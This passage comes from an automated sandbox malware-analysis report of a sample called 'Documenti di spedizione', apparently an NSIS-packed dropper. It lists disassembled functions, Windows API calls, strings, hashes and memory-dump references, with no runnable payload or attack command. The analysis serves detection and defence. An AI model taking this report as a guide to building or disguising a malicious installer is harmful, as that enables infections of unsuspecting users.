SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404E3E
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404E53
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404E77
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404E97
ImageList_Destroy.COMCTL32(?), ref: 00404EAC
GlobalFree.KERNEL32(?), ref: 00404EBC
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404F35
SendMessageA.USER32(?,00001102,?,?), ref: 00404FDE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404FED
InvalidateRect.USER32(?,00000000,00000001), ref: 0040500D
ShowWindow.USER32(?,00000000), ref: 0040505B
GetDlgItem.USER32(?,000003FE), ref: 00405066
ShowWindow.USER32(00000000), ref: 0040506D

Strings

, xrefs: 00405045
M, xrefs: 00404C36
N, xrefs: 00404D17

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: ba7290f4b2f558e76718ca09df7d9ac4a37db348ff9a84ef3540181398f9072b
Instruction ID: e0cc5522092fb32f5c2674b78011ac89e49f6c9f2dab24d514a8ff43177d9d20
Opcode Fuzzy Hash: ba7290f4b2f558e76718ca09df7d9ac4a37db348ff9a84ef3540181398f9072b
Instruction Fuzzy Hash: 1E025EB0900209AFEB209F94DC85AAE7BB5FB84315F10817AF611B62E1C7799D42DF58

Function 00405799 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,75923410,75922EE0,00000000), ref: 004057C2
lstrcatA.KERNEL32(00420D38,\*.*,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040580A
lstrcatA.KERNEL32(?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040582B
lstrlenA.KERNEL32(?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405831
FindFirstFileA.KERNEL32(00420D38,?,?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405842
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004058EF
FindClose.KERNEL32(00000000), ref: 00405900

Strings

8B, xrefs: 004057F2
\*.*, xrefs: 00405804

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 8B$\*.*
API String ID: 2035342205-1085368084
Opcode ID: ea9ce5b97ce8e4b443abb3ca9957b13dd705908b98673029f699f8bd1230974e
Instruction ID: 8d03ba635bdf6d692437a4f2007131f6bbb84493a6188974bf12e3b4770be62e
Opcode Fuzzy Hash: ea9ce5b97ce8e4b443abb3ca9957b13dd705908b98673029f699f8bd1230974e
Instruction Fuzzy Hash: 3E51AF71900A14EADF217B618C49BAF7AB8DF42724F14807BF850762D2D73C8992DE6D

Function 38CF7760 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 38CF7C0D
$]q, xrefs: 38CF7CAC
$]q, xrefs: 38CF7CB8
$]q, xrefs: 38CF7CCE
$]q, xrefs: 38CF7881
$]q, xrefs: 38CF7850
$]q, xrefs: 38CF788D
$]q, xrefs: 38CF7C19
$]q, xrefs: 38CF785C
$]q, xrefs: 38CF7CC2

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: ecc85f59a338d2d70e48287c600abda107eb9ed31b893c07a3f98937ef8fc1be
Instruction ID: a1ec182190e25de96c1095a87a380763906a272b8e1acebbbc5be9c4e85ab978
Opcode Fuzzy Hash: ecc85f59a338d2d70e48287c600abda107eb9ed31b893c07a3f98937ef8fc1be
Instruction Fuzzy Hash: 0D123C34A00259CFEB54DF79C990A9DB7B2BF88304F60897AD409AB355DB319D46CF50

Function 00406542 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction ID: 395035d2fa7d2bfd2a07fc8d885f942395c55dc3dc65efbd6096f39d55049081
Opcode Fuzzy Hash: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction Fuzzy Hash: 18F16671D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7385A96DF44

Function 0040524E Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004052AD
GetDlgItem.USER32(?,000003EE), ref: 004052BC
GetClientRect.USER32(?,?), ref: 004052F9
GetSystemMetrics.USER32(00000002), ref: 00405300
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405321
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405332
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405345
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405353
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405366
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405388
ShowWindow.USER32(?,00000008), ref: 0040539C
GetDlgItem.USER32(?,000003EC), ref: 004053BD
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004053CD
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004053E6
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004053F2
GetDlgItem.USER32(?,000003F8), ref: 004052CB

Part of subcall function 00404111: SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

GetDlgItem.USER32(?,000003EC), ref: 0040540E
CreateThread.KERNEL32(00000000,00000000,Function_000051E2,00000000), ref: 0040541C
CloseHandle.KERNEL32(00000000), ref: 00405423
ShowWindow.USER32(00000000), ref: 00405446
ShowWindow.USER32(?,00000008), ref: 0040544D
ShowWindow.USER32(00000008), ref: 00405493
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004054C7
CreatePopupMenu.USER32 ref: 004054D8
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004054ED
GetWindowRect.USER32(?,000000FF), ref: 0040550D
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405526
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405562
OpenClipboard.USER32(00000000), ref: 00405572
EmptyClipboard.USER32 ref: 00405578
GlobalAlloc.KERNEL32(00000042,?), ref: 00405581
GlobalLock.KERNEL32(00000000), ref: 0040558B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040559F
GlobalUnlock.KERNEL32(00000000), ref: 004055B8
SetClipboardData.USER32(00000001,00000000), ref: 004055C3
CloseClipboard.USER32 ref: 004055C9

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: c64a89a41c0802a74bba5a78dd280d07ec270940df5a5324a2dbd363d8ad6a15
Instruction ID: e0dc4773203ce2f112709eab9a11bfc184f4d069c8d5349c47d5b80479340f4b
Opcode Fuzzy Hash: c64a89a41c0802a74bba5a78dd280d07ec270940df5a5324a2dbd363d8ad6a15
Instruction Fuzzy Hash: 10A148B1900208BFDF119F60DD89AAE7BB9FB48355F00407AFA01B61A0C7B55E51DF69

Function 00403C09 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C45
ShowWindow.USER32(?), ref: 00403C62
DestroyWindow.USER32 ref: 00403C76
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403C92
GetDlgItem.USER32(?,?), ref: 00403CB3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403CC7
IsWindowEnabled.USER32(00000000), ref: 00403CCE
GetDlgItem.USER32(?,00000001), ref: 00403D7C
GetDlgItem.USER32(?,00000002), ref: 00403D86
SetClassLongA.USER32(?,000000F2,?), ref: 00403DA0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403DF1
GetDlgItem.USER32(?,00000003), ref: 00403E97
ShowWindow.USER32(00000000,?), ref: 00403EB8
EnableWindow.USER32(?,?), ref: 00403ECA
EnableWindow.USER32(?,?), ref: 00403EE5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403EFB
EnableMenuItem.USER32(00000000), ref: 00403F02
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403F1A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403F2D
lstrlenA.KERNEL32(0041FD30,?,0041FD30,00422F20), ref: 00403F56
SetWindowTextA.USER32(?,0041FD30), ref: 00403F65
ShowWindow.USER32(?,0000000A), ref: 00404099

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: f52cdbaf3123b7cbd9944adc9014d9948be0515c381cedadf67d37a6be0de08c
Instruction ID: 2eb83949b6bd8974722fa043abbaf2d62199bae10e2b8edc7fb886fd11b27e7e
Opcode Fuzzy Hash: f52cdbaf3123b7cbd9944adc9014d9948be0515c381cedadf67d37a6be0de08c
Instruction Fuzzy Hash: 3EC1F2B1604201BBDB20AF61EE84E2B3ABCFB84305F51053EF611B11E1C7799842EB5E

Function 00404225 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004042B0
GetDlgItem.USER32(00000000,000003E8), ref: 004042C4
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004042E2
GetSysColor.USER32(?), ref: 004042F3
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404302
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404311
lstrlenA.KERNEL32(?), ref: 00404314
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404323
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404338
GetDlgItem.USER32(?,0000040A), ref: 0040439A
SendMessageA.USER32(00000000), ref: 0040439D
GetDlgItem.USER32(?,000003E8), ref: 004043C8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404408
LoadCursorA.USER32(00000000,00007F02), ref: 00404417
SetCursor.USER32(00000000), ref: 00404420
ShellExecuteA.SHELL32(0000070B,open,004226C0,00000000,00000000,00000001), ref: 00404433
LoadCursorA.USER32(00000000,00007F00), ref: 00404440
SetCursor.USER32(00000000), ref: 00404443
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040446F
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404483

Strings

N, xrefs: 004043B6
open, xrefs: 0040442B

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open
API String ID: 3615053054-904208323
Opcode ID: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction ID: 93f755629d35b640548b5af6b7c61ab120d2ba211fed136cde477a70902604c8
Opcode Fuzzy Hash: e76cc1a0ba7ef7f86ae8e4ee464b0340797726a5bea064de8fa3a19247962d01
Instruction Fuzzy Hash: 5D61A3B1A40209BFEB109F61DC45F6A7B69FB84714F10803AFB057A2D1C7B8A951CF99

Function 00403877 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

lstrcatA.KERNEL32(0042A000,0041FD30,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD30,00000000,00000002,75923410,0042A400,00429000,00000000), ref: 004038F2
lstrlenA.KERNEL32(004226C0,?,?,?,004226C0,00000000,00429400,0042A000,0041FD30,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD30,00000000,00000002,75923410), ref: 00403967
lstrcmpiA.KERNEL32(?,.exe), ref: 0040397A
GetFileAttributesA.KERNEL32(004226C0), ref: 00403985
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,00429400), ref: 004039CE

Part of subcall function 00405E55: wsprintfA.USER32 ref: 00405E62

RegisterClassA.USER32(00422EC0), ref: 00403A0B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403A23
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A58
ShowWindow.USER32(00000005,00000000), ref: 00403A8E
GetClassInfoA.USER32(00000000,RichEdit20A,00422EC0), ref: 00403ABA
GetClassInfoA.USER32(00000000,RichEdit,00422EC0), ref: 00403AC7
RegisterClassA.USER32(00422EC0), ref: 00403AD0
DialogBoxParamA.USER32(?,00000000,00403C09,00000000), ref: 00403AEF

Strings

_Nb, xrefs: 004039EA, 00403A52
RichEdit, xrefs: 00403AC1
RichEdit20A, xrefs: 00403AB2, 00403AB8
.exe, xrefs: 00403974
Control Panel\Desktop\ResourceLocale, xrefs: 004038AB
.DEFAULT\Control Panel\International, xrefs: 004038DD
RichEd32, xrefs: 00403AA2
RichEd20, xrefs: 00403A94

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-2904746566
Opcode ID: acb9e1483f64e376554eea66f981f1d844e256060aa5afb508f73614915c59b6
Instruction ID: 29345e8072be8e75dc90901d6125d60d13300850aec60374d900494af90ecb47
Opcode Fuzzy Hash: acb9e1483f64e376554eea66f981f1d844e256060aa5afb508f73614915c59b6
Instruction Fuzzy Hash: 8161A4B06442407ED620AF65AD45F373A6CEB8474AF40447FF945B22E2C6BCAD029A3D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction ID: f6076547c65416f673289c9e9aa760257b54fe90aa12de16c0a46004740ece36
Opcode Fuzzy Hash: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction Fuzzy Hash: C2419B71804249AFCF058FA4CD459AFBBB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421AC0,NUL,?,00000000,?,00000000,00405DD3,?,?), ref: 00405C4F
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405DD3,?,?), ref: 00405C73
GetShortPathNameA.KERNEL32(?,00421AC0,00000400), ref: 00405C7C

Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

GetShortPathNameA.KERNEL32(00421EC0,00421EC0,00000400), ref: 00405C99
wsprintfA.USER32 ref: 00405CB7
GetFileSize.KERNEL32(00000000,00000000,00421EC0,C0000000,00000004,00421EC0,?,?,?,?,?), ref: 00405CF2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405D01
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D39
SetFilePointer.KERNEL32(004093C8,00000000,00000000,00000000,00000000,004216C0,00000000,-0000000A,004093C8,00000000,[Rename],00000000,00000000,00000000), ref: 00405D8F
GlobalFree.KERNEL32(00000000), ref: 00405DA0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405DA7

Part of subcall function 00405B6A: GetFileAttributesA.KERNEL32(00000003,00402D8D,0042AC00,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Strings

%s=%s, xrefs: 00405CAD
[Rename], xrefs: 00405D21, 00405D33
NUL, xrefs: 00405C49

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 2e3f1d5478f9f0c6b3014663fcb7d6cbfaa562a2a519d3499902ae05c7337469
Instruction ID: 58b8e60db813422e8a8f05baf12fe1cb7cc397f7baf35d3febd204dd1aeecf15
Opcode Fuzzy Hash: 2e3f1d5478f9f0c6b3014663fcb7d6cbfaa562a2a519d3499902ae05c7337469
Instruction Fuzzy Hash: D031C271A04B596BD2202B219D49F6B3A6CDF85754F18003BF901F62D2E67CA8018EAD

Function 0040451A Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404569
SetWindowTextA.USER32(00000000,?), ref: 00404593
SHBrowseForFolderA.SHELL32(?,0041F108,?), ref: 00404644
CoTaskMemFree.OLE32(00000000), ref: 0040464F
lstrcmpiA.KERNEL32(004226C0,0041FD30), ref: 00404681
lstrcatA.KERNEL32(?,004226C0), ref: 0040468D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040469F

Part of subcall function 004056D1: GetDlgItemTextA.USER32(?,?,00000400,004046D6), ref: 004056E4

Part of subcall function 00406162: CharNextA.USER32(?,*?|<>/":,00000000,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061BA
Part of subcall function 00406162: CharNextA.USER32(?,?,?,00000000), ref: 004061C7
Part of subcall function 00406162: CharNextA.USER32(?,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061CC
Part of subcall function 00406162: CharPrevA.USER32(?,?,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061DC

GetDiskFreeSpaceA.KERNEL32(0041ED00,?,?,0000040F,?,0041ED00,0041ED00,?,00000001,0041ED00,?,?,000003FB,?), ref: 0040475D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404778

Part of subcall function 004048D1: lstrlenA.KERNEL32(0041FD30,0041FD30,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
Part of subcall function 004048D1: wsprintfA.USER32 ref: 00404977
Part of subcall function 004048D1: SetDlgItemTextA.USER32(?,0041FD30), ref: 0040498A

Strings

A, xrefs: 0040463D

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 4bae8adfc2f1ad16f51c5b997e9d1a132689266bb2bfdcf495d627e6f055046e
Instruction ID: 7ea719a0b93bcaca37b111b678a2b5d6f3f78fc0ed79788128ac85d93e839f9f
Opcode Fuzzy Hash: 4bae8adfc2f1ad16f51c5b997e9d1a132689266bb2bfdcf495d627e6f055046e
Instruction Fuzzy Hash: D5A18EB1900209ABDB11AFA5CC45AAFB7B8EF85314F10843BF711B62D1D77C8A418F69

Function 00402D4A Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402D5E
GetModuleFileNameA.KERNEL32(00000000,0042AC00,00000400), ref: 00402D7A

Part of subcall function 00405B6A: GetFileAttributesA.KERNEL32(00000003,00402D8D,0042AC00,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,00429C00,00429C00,0042AC00,0042AC00,80000000,00000003), ref: 00402DC3
GlobalAlloc.KERNEL32(00000040,00409130), ref: 00402F0A

Strings

Null, xrefs: 00402E43
Error launching installer, xrefs: 00402D9A
soft, xrefs: 00402E3A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402FA1
Inst, xrefs: 00402E31
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402F53

Memory Dump Source

Source File: 00000004.00000002.3246456880.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3246444105.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246470185.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246482951.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3246501934.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-3016655952
Opcode ID: 6949a2dc81abe6ae8ca3848ee1a274e905e25326872c2b53de3725809208b6fc
Instruction ID: 1e54d23c6bd4663b885b54a46d63d50a2b02afe17d1d0705d7bda66adc4b1b0c
Opcode Fuzzy Hash: 6949a2dc81abe6ae8ca3848ee1a274e905e25326872c2b53de3725809208b6fc
